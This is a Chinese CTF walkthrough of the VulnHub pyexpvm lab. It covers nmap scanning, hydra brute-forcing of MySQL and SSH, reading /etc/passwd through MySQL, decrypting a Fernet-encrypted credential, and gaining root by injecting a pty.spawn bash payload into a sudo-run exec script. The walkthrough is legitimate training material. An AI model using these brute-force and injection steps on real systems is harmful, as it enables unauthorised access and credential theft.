pyexpvm靶场实战详解
靶机:https://download.vulnhub.com/pyexp/pyexpvm.zip
难度:中
目标:取得root权限+2Flag 网络配置:这里简单介绍下我的网络配置,靶机和Kali都用的VMware,然后使用nat连接,开启了dhcp。
0x00 环境配置
虚拟网络编辑器:
Kali:
靶机:
0x01 信息收集
首先使用下面这条命令发现靶机的ip地址为192.168.26.130。
arp-scan -l
然后开始使用nmap进行端口和服务的发现。
nmap -p- -sC -sV 192.168.26.130
经过对开放端口和服务的扫描,发现1337开放了ssh服务 ,3306开放了mysql服务。我首先通过searchsploit 搜索这两个服务对应版本的漏洞并且进行了尝试后均失败。
0x02 端口服务爆破
那么现在只能开始暴力破解了,开两个窗口一个爆破ssh,另一个爆破mysql。
hydra -l root -P rockyou.txt mysql://192.168.26.130
hydra -l root -P rockyou.txt ssh://192.168.26.130
如上图所示,经过hydra的爆破,成功获取到了mysql的账号和密码。这里顺便提一下,ssh爆破失败了。
0x03 MySQL执行命令
接着尝试使用得到的mysql账号和密码进行登录
mysql -u root -h 192.168.26.130 -p
select do_system('id'); #尝试使用该语句直接执行系统命令
select load_file('/etc/passwd'); #尝试使用语句读取文件
发现可以执行该语句,并且成功读取到了该文件的内容,在这个文件中发现了lucy这个用户。
然后我在data数据库的fernet表中发现了如下图所示的两个字段,一个是凭据的意思,一个是密钥的意思,一看对应的值就是经过某种加密过后的密文,而key可能就是加解密的密钥。
0x04 解密代码
cred:gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
keyy:
UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=
限于我对密码学了解甚少,所以我直接开始百度,还真给我搜到了。
通过上面这张图,我们可以知道这个fernet算法用的是python中的cryptography库,所以我选择直接去读这个库的手册。
https://cryptography.io/en/latest/
通过阅读这个库的手册我大概知道了加密和解密的这么一个过程。然后直接写解密脚本。
from cryptography.fernet import Fernet
key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
f = Fernet(key)
token = b'gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys='
f.decrypt(token)
解密过程如下图所示:
b'lucy:wJ9`"Lemdv9[FEw-'
想起来之前发现的lucy账号,我们感觉这就是lucy的账号和密码。
账号:lucy
密码:wJ9`"Lemdv9[FEw-
尝试进行ssh登录。
ssh lucy@192.168.26.130 -p 1337
登录成功后在当前目录下读取到了第一个flag。
0x05 本地提权
然后通过sudo -l命令发现,可以以root用户的身份无密码执行exp.py这个文件,并且执行这个文件时,用户的输入会交给exec函数去执行。到这里我们的提权思路就有了,直接拿出我们常用的提权代码。
import pty;pty.spawn("/bin/bash")
通过上图可以看到成功实现了提权,然后我在root目录下发现了第二个flag。
0x06 总结与思考
你说没有Web服务就无法渗透了?不可否认,渗透测试最常面对的服务类型是Web,但如果将渗透与WEB渗透画上等号,认知就太过片面了。今天这台靶机就完全没有WEB服务,我们从爆破密码和搜寻已知漏洞的角度入手,通过暴力破解获取到了mysql数据库的账号密码,尝试读取了系统机密文件,甚至直接执行操作系统命令(失败了)。接着编写了针对fernet模块加密算法的解密脚本,对我们原本并不熟悉的加密算法进行了解密,取得了lucy的身份认证信息,从而突破了边界。提权阶段通过阅读了exp.py脚本的代码,并以此注入了一些简单的提权代码,结合系统权限配置漏洞,最终取得了Root权限。这是一台非常具有特色的靶机,感兴趣的师傅也可以下载到本地来玩一玩。